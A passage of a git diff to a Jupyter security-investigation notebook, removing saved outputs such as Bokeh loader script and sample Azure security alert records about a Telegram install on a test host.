console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", - " run_inline_js();\n", - " });\n", - " }\n", - "}(window));" - ], - "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1001\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1001\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "\n", - "\n", - "\n", - "\n", - "\n", - "\n", - "
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AlertNamealertCountfirstAlertlastAlert
0Security incident detected12019-02-14 18:03:23+00:002019-02-14 18:03:23+00:00
1Suspicious system process executed12019-02-14 11:52:06+00:002019-02-14 11:52:06+00:00
2Potential attempt to bypass AppLocker detected12019-02-14 11:52:06+00:002019-02-14 11:52:06+00:00
3Security incident with shared process detected12019-02-14 05:19:13+00:002019-02-14 05:19:13+00:00
4Suspiciously named process detected12019-02-13 22:04:16+00:002019-02-13 22:04:16+00:00
5Digital currency mining related behavior detected12019-02-13 22:04:15+00:002019-02-13 22:04:15+00:00
6Detected the disabling of critical services12019-02-13 23:07:57+00:002019-02-13 23:07:57+00:00
7Detected potentially suspicious use of Telegram tool12019-02-13 23:07:57+00:002019-02-13 23:07:57+00:00
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Series Alert: 'Detected potentially suspicious use of Telegram tool'

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7
TenantId52b1ab41-869e-4138-9e40-2a4457f09bf0
TimeGenerated2019-02-13 23:07:57+00:00
AlertDisplayNameDetected potentially suspicious use of Telegram tool
AlertNameDetected potentially suspicious use of Telegram tool
SeverityMedium
DescriptionAnalysis of host data shows installation of Telegram, a free cloud-based instant messaging servi...
ProviderNameDetection
VendorNameMicrosoft
VendorOriginalIda1008225-c62f-4f51-84aa-6aad89a02b3a
SystemAlertId2518522015557283714_a1008225-c62f-4f51-84aa-6aad89a02b3a
ResourceId/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/provide...
SourceComputerId263a788b-6526-4cdc-8ed9-d79402fe4aa0
AlertTypeSCUBA_RULE_Telegram_install
ConfidenceLevelUnknown
ConfidenceScoreNaN
IsIncidentFalse
StartTimeUtc2019-02-13 23:07:24+00:00
EndTimeUtc2019-02-13 23:07:24+00:00
ProcessingEndTime2019-02-13 23:07:57+00:00
RemediationSteps[\\r\\n \"Review with MSTICALERTSWIN1\\\\MSTICAdmin the install of Telegram as shown in the command ...
ExtendedProperties{'Compromised Host': 'MSTICALERTSWIN1', 'User Name': 'MSTICALERTSWIN1\\MSTICAdmin', 'Account Sess...
Entities[{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MS...
SourceSystemDetection
WorkspaceSubscriptionId40dcc8bf-0478-4f3b-b275-ed0a94f2c013
WorkspaceResourceGroupasihuntomsworkspacerg
ExtendedLinks
ProductName
ProductComponentName
AlertLink
TypeSecurityAlert
CompromisedEntityMSTICALERTSWIN1
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Alert: 'Detected potentially suspicious use of Telegram tool'

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7
TenantId52b1ab41-869e-4138-9e40-2a4457f09bf0
TimeGenerated2019-02-13 23:07:57+00:00
AlertDisplayNameDetected potentially suspicious use of Telegram tool
AlertNameDetected potentially suspicious use of Telegram tool
SeverityMedium
DescriptionAnalysis of host data shows installation of Telegram, a free cloud-based instant messaging service that exists both for mobile and desktop system. Attackers are known to abuse this service to transfer malicious binaries to any other computer, phone, or tablet.
ProviderNameDetection
VendorNameMicrosoft
VendorOriginalIda1008225-c62f-4f51-84aa-6aad89a02b3a
SystemAlertId2518522015557283714_a1008225-c62f-4f51-84aa-6aad89a02b3a
ResourceId/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1
SourceComputerId263a788b-6526-4cdc-8ed9-d79402fe4aa0
AlertTypeSCUBA_RULE_Telegram_install
ConfidenceLevelUnknown
ConfidenceScoreNaN
IsIncidentFalse
StartTimeUtc2019-02-13 23:07:24+00:00
EndTimeUtc2019-02-13 23:07:24+00:00
ProcessingEndTime2019-02-13 23:07:57+00:00
RemediationSteps[\\r\\n \"Review with MSTICALERTSWIN1\\\\MSTICAdmin the install of Telegram as shown in the command line and then review the binaries that run just after the telegram install to confirm that they are legitimate and expected on MSTICALERTSWIN1. If not, escalate the alert to the information security team\"\\r\\n]
ExtendedProperties{'Compromised Host': 'MSTICALERTSWIN1', 'User Name': 'MSTICALERTSWIN1\\MSTICAdmin', 'Account Session Id': '0x1f388a3', 'Suspicious Process': 'c:\\w!ndows\\system32\\tsetup.1.exe', 'Suspicious Command Line': '.\\tsetup.1.exe c:\\users\\msticadmin\\appdata\\local\\temp\\2\\is-01dd7.tmp\\tsetup.1.0.14.tmp\" /sl5=\"$250276,19992586,423424,c:\\users\\msticadmin\\downloads\\tsetup.1.0.14.exe', 'Parent Process': 'c:\\windows\\system32\\cmd.exe', 'Suspicious Process Id': '0x2ddc', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'}
Entities[{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MSTICALERTSWIN1', 'OSFamily': 'Windows', 'OSVersion': 'Windows', 'IsDomainJoined': False, 'Type': 'host'}, {'$id': '5', 'Directory': 'c:\\windows\\system32', 'Name': 'cmd.exe', 'Type': 'file'}, {'$id': '6', 'ProcessId': '0x1be0', 'CommandLine': '', 'ImageFile': {'$ref': '5'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '7', 'Name': 'MSTICAdmin', 'NTDomain': 'MSTICAlertsWin1', 'Host': {'$ref': '4'}, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500', 'IsDomainJoined': False, 'Type': 'account', 'LogonId': '0x1f388a3'}, {'$id': '8', 'Directory': 'c:\\w!ndows\\system32', 'Name': 'tsetup.1.exe', 'Type': 'file'}, {'$id': '9', 'ProcessId': '0x2ddc', 'CommandLine': '.\\tsetup.1.exe c:\\users\\msticadmin\\appdata\\local\\temp\\2\\is-01dd7.tmp\\tsetup.1.0.14.tmp\" /sl5=\"$250276,19992586,423424,c:\\users\\msticadmin\\downloads\\tsetup.1.0.14.exe', 'ElevationToken': 'Default', 'CreationTimeUtc': '2019-02-13T23:07:24.2716285Z', 'ImageFile': {'$ref': '8'}, 'Account': {'$ref': '7'}, 'ParentProcess': {'$ref': '6'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '10', 'SessionId': '0x1f388a3', 'StartTimeUtc': '2019-02-13T23:07:24.2716285Z', 'EndTimeUtc': '2019-02-13T23:07:24.2716285Z', 'Type': 'host-logon-session', 'Host': {'$ref': '4'}, 'Account': {'$ref': '7'}}]
SourceSystemDetection
WorkspaceSubscriptionId40dcc8bf-0478-4f3b-b275-ed0a94f2c013
WorkspaceResourceGroupasihuntomsworkspacerg
ExtendedLinks
ProductName
ProductComponentName
AlertLink
TypeSecurityAlert
CompromisedEntityMSTICALERTSWIN1

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0
Compromised HostMSTICALERTSWIN1
User NameMSTICALERTSWIN1\\MSTICAdmin
Account Session Id0x1f388a3
Suspicious Processc:\\w!ndows\\system32\\tsetup.1.exe
Suspicious Command Line.\\tsetup.1.exe c:\\users\\msticadmin\\appdata\\local\\temp\\2\\is-01dd7.tmp\\tsetup.1.0.14.tmp\" /sl5=\"$250276,19992586,423424,c:\\users\\msticadmin\\downloads\\tsetup.1.0.14.exe
Parent Processc:\\windows\\system32\\cmd.exe
Suspicious Process Id0x2ddc
resourceTypeVirtual Machine
ServiceId14fa08c7-c48e-4c18-950c-8148024b4398
ReportingSystemAzure
OccuringDatacentereastus

Entities:


{ 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'}
{ 'AdditionalData': {},, 'Directory': 'c:\\\\windows\\\\system32',, 'FullPath': 'c:\\\\windows\\\\system32\\\\cmd.exe',, 'Name': 'cmd.exe',, 'Type': 'file'}
{ 'AdditionalData': {},, 'CommandLine': '',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'ImageFile': { 'AdditionalData': {},, 'Directory': 'c:\\\\windows\\\\system32',, 'FullPath': 'c:\\\\windows\\\\system32\\\\cmd.exe',, 'Name': 'cmd.exe',, 'Type': 'file'},, 'ProcessId': '0x1be0',, 'Type': 'process'}
{ 'AdditionalData': {},, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'IsDomainJoined': False,, 'LogonId': '0x1f388a3',, 'NTDomain': 'MSTICAlertsWin1',, 'Name': 'MSTICAdmin',, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',, 'Type': 'account'}
{ 'AdditionalData': {},, 'Directory': 'c:\\\\w!ndows\\\\system32',, 'FullPath': 'c:\\\\w!ndows\\\\system32\\\\tsetup.1.exe',, 'Name': 'tsetup.1.exe',, 'Type': 'file'}
{ 'Account': { 'AdditionalData': {},, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'IsDomainJoined': False,, 'LogonId': '0x1f388a3',, 'NTDomain': 'MSTICAlertsWin1',, 'Name': 'MSTICAdmin',, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',, 'Type': 'account'},, 'AdditionalData': {},, 'CommandLine': '.\\\\tsetup.1.exe ', 'c:\\\\users\\\\msticadmin\\\\appdata\\\\local\\\\temp\\\\2\\\\is-01dd7.tmp\\\\tsetup.1.0.14.tmp" ', '/sl5="$250276,19992586,423424,c:\\\\users\\\\msticadmin\\\\downloads\\\\tsetup.1.0.14.exe',, 'CreationTimeUtc': '2019-02-13T23:07:24.2716285Z',, 'ElevationToken': 'Default',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'ImageFile': { 'AdditionalData': {},, 'Directory': 'c:\\\\w!ndows\\\\system32',, 'FullPath': 'c:\\\\w!ndows\\\\system32\\\\tsetup.1.exe',, 'Name': 'tsetup.1.exe',, 'Type': 'file'},, 'ParentProcess': { 'AdditionalData': {},, 'CommandLine': '',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'ImageFile': { 'AdditionalData': {},, 'Directory': 'c:\\\\windows\\\\system32',, 'FullPath': 'c:\\\\windows\\\\system32\\\\cmd.exe',, 'Name': 'cmd.exe',, 'Type': 'file'},, 'ProcessId': '0x1be0',, 'Type': 'process'},, 'ProcessId': '0x2ddc',, 'Type': 'process'}
{ 'Account': { 'AdditionalData': {},, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'IsDomainJoined': False,, 'LogonId': '0x1f388a3',, 'NTDomain': 'MSTICAlertsWin1',, 'Name': 'MSTICAdmin',, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',, 'Type': 'account'},, 'AdditionalData': {},, 'EndTimeUtc': '2019-02-13T23:07:24.2716285Z',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'SessionId': '0x1f388a3',, 'StartTimeUtc': '2019-02-13T23:07:24.2716285Z',, 'Type': 'host-logon-session'}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "# Extract entities and properties into a SecurityAlert class\n", "if alert_select is None or alert_select.selected_alert is None:\n", @@ -1600,25 +267,9 @@ }, { "cell_type": "code", - "execution_count": 9, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:14:41.613471Z", - "start_time": "2020-05-16T02:14:41.251019Z" - } - }, - "outputs": [ - { - "data": { - "image/png": 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